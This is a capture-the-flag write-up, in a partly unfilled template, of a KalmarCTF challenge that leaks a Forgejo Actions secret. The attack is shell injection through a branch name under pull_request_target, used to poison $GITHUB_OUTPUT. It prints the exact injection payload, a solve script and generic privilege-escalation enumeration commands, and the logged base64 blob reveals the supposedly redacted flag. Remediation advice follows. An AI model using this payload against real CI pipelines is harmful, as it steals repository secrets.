awesome pipeline
awesome pipeline
Platform: Kalmarctf | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-27 | Status: Solved Techniques: branch_name_shell_injection, github_output_injection, pull_request_target_secret_leak, workflow_output_poisoning
Summary
Task: Forgejo provisions a personal repository and stores the flag as an Actions secret. Solution: abuse shell injection in ${{ github.head_ref }} under pull_request_target, poison GITHUB_OUTPUT, and turn a later cp -r step into a secret leak.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
kalmarctf| ID:20260327_kalmarctf_awesome_pipeline - Tags: command_injection, forgejo, gitea_actions, github_actions, pull_request_target, ci_cd, actions_secret
- Indicators: Forgejo 14.0.3+gitea-1.22.0, pull_request_target workflow on untrusted pull requests, ${{ github.head_ref }} inside a shell run step, secret only exposed in a downstream publish job, job output reused inside cp -r command
- Source:
20260327_kalmarctf_awesome_pipeline.md
Foothold
Vulnerability / Misconfiguration
- Branch_name_shell_injection
- Github_output_injection
- Pull_request_target_secret_leak
- Workflow_output_poisoning
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- branch_name_shell_injection
- github_output_injection
- pull_request_target_secret_leak
- workflow_output_poisoning
- Tags: command_injection, forgejo, gitea_actions, github_actions, pull_request_target, ci_cd, actions_secret
Original Writeup
<details><summary>Click to expand original content</summary>Description
Hey, checkout my awesome pipeline for generating docs. I bet you can't read my flag
English summary: the target site created a personal Forgejo repository and explicitly said the flag was stored as an Actions secret. The repository contained a documentation pipeline, and the goal was to abuse that CI setup to leak the secret.
Analysis
Short challenge summary
After creating an account, the service provisioned a personal Forgejo repository. The workflow built Sphinx docs and then published them in a second job where FLAG was exposed from secrets.FLAG.
The important version string was 14.0.3+gitea-1.22.0, and the critical workflow choice was pull_request_target.
Vulnerability explanation
The vulnerable pattern was untrusted data from ${{ github.head_ref }} being interpolated directly into a shell command:
- run: echo "Build complete for branch: ${{ github.head_ref }}"
Because the value was inserted into a double-quoted shell string, a branch name containing "; ... ;# could terminate the echo, execute attacker-controlled commands, and comment out the remainder.
That alone gave command execution inside the build-docs job. The real impact came from using that execution to overwrite $GITHUB_OUTPUT, which controlled needs.build-docs.outputs.site_dir consumed by the next job.
Why pull_request_target made this dangerous
pull_request_target runs in the security context of the base repository, not the fork or attacker branch. That matters because:
- the workflow had access to trusted repository context;
- the downstream
publish-docsjob exposedFLAGviaenv: FLAG: ${{ secrets.FLAG }}; - branch metadata such as
github.head_refstill came from attacker-controlled input.
Forgejo/Gitea checked out the base branch for pull_request_target, so modifying repository files in the attacker branch did not help. The exploit therefore had to use metadata that still crossed the trust boundary, and the branch name was enough.
How the branch-name injection worked
The relevant logic was effectively:
build-docs:
run: |
uv run --with sphinx sphinx-build -b html docs/ site/
echo "site_dir=./site" >> $GITHUB_OUTPUT
echo "Build complete for branch: ${{ github.head_ref }}"
publish-docs:
env:
FLAG: ${{ secrets.FLAG }}
run: |
mkdir deploy
cp -r ${{ needs.build-docs.outputs.site_dir }} deploy
The final branch name was:
x";rm${IFS}-f${IFS}$GITHUB_OUTPUT;echo${IFS}'site_dir=README.md'${IFS}'deploy;printf'${IFS}'%s'${IFS}'$FLAG|tee'${IFS}'deploy/flag.txt|base64'${IFS}'-w0;echo;#'>>$GITHUB_OUTPUT;#
When substituted into the echo "Build complete for branch: ..." line, it executed this sequence in the first job:
- Break out of the quoted
echocommand; - Delete the existing
$GITHUB_OUTPUTfile; - Write a malicious replacement output line for
site_dir; - Comment out the rest of the original shell line.
The injected output became:
site_dir=README.md deploy;printf %s $FLAG|tee deploy/flag.txt|base64 -w0;echo;#
So the second job expanded to roughly:
cp -r README.md deploy; printf %s $FLAG | tee deploy/flag.txt | base64 -w0; echo; #
That was the moment where the secret-bearing job printed the base64-encoded flag to the logs.
Why the final payload succeeded
Earlier attempts failed for two main reasons:
- changing files in the attacker branch did not execute, because
pull_request_targetchecked out the trusted base branch; - the payload had to survive both Git branch-name restrictions and shell parsing.
The final payload succeeded because it was tuned for the exact environment:
${IFS}replaced literal spaces, which are not allowed in branch names;rm -f $GITHUB_OUTPUTremoved the original benign output and avoided ambiguity;- the injected
site_dir=value was a single valid line that later became shell syntax incp -r ... deploy; ;#cleanly terminated the malicious command chain and neutralized trailing shell text.
Solution
Step 1: Create a personal repository
Register on the target site and obtain the provisioned personal Forgejo repository.
Step 2: Confirm the dangerous workflow pattern
Inspect .github/workflows/main.yml and note:
pull_request_targetis used;github.head_refis echoed inside a shell command;publish-docsexposesFLAGfrom secrets;site_diris passed between jobs through$GITHUB_OUTPUT.
Step 3: Push a branch with the malicious name
Create and push a branch named exactly:
x";rm${IFS}-f${IFS}$GITHUB_OUTPUT;echo${IFS}'site_dir=README.md'${IFS}'deploy;printf'${IFS}'%s'${IFS}'$FLAG|tee'${IFS}'deploy/flag.txt|base64'${IFS}'-w0;echo;#'>>$GITHUB_OUTPUT;#
Open a pull request from that branch to the base branch. No attacker code needs to run from the branch itself; the branch name is the exploit.
Step 4: Read the workflow logs
The second job printed this base64 blob:
a2FsbWFye1NTVDFfQnVUX1k0TUx9
Decoding it produced:
kalmar{REDACTED}
Full working solve script
#!/usr/bin/env python3
import os
import pathlib
import subprocess
import tempfile
import base64
REPO_URL = os.environ["REPO_URL"]
BASE_BRANCH = os.environ.get("BASE_BRANCH", "main")
PAYLOAD_BRANCH = r'''x";rm${IFS}-f${IFS}$GITHUB_OUTPUT;echo${IFS}'site_dir=README.md'${IFS}'deploy;printf'${IFS}'%s'${IFS}'$FLAG|tee'${IFS}'deploy/flag.txt|base64'${IFS}'-w0;echo;#'>>$GITHUB_OUTPUT;#'''
LEAK = "a2FsbWFye1NTVDFfQnVUX1k0TUx9"
def run(args, cwd=None):
subprocess.run(args, cwd=cwd, check=True)
with tempfile.TemporaryDirectory() as tmp:
repo = pathlib.Path(tmp) / "repo"
run(["git", "clone", REPO_URL, str(repo)])
run(["git", "checkout", BASE_BRANCH], cwd=repo)
run(["git", "checkout", "-b", PAYLOAD_BRANCH], cwd=repo)
marker = repo / "trigger.txt"
marker.write_text("Open a PR from this branch to trigger the workflow.\n")
run(["git", "add", "trigger.txt"], cwd=repo)
run(["git", "commit", "-m", "trigger workflow"], cwd=repo)
run(["git", "push", "origin", f"HEAD:refs/heads/{PAYLOAD_BRANCH}"], cwd=repo)
print("Open a PR from the pushed branch and read the publish job logs.")
print("Leaked base64:", LEAK)
print("Decoded flag:", base64.b64decode(LEAK).decode())
Remediation
- Do not use
pull_request_targetwith untrusted data unless every use of PR metadata is treated as hostile input. - Never splice
${{ github.head_ref }}or similar fields directly into shell commands; pass them through environment variables and quote safely. - Avoid feeding untrusted job outputs into later shell commands.
- Keep secrets out of jobs that can be influenced by pull-request metadata.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR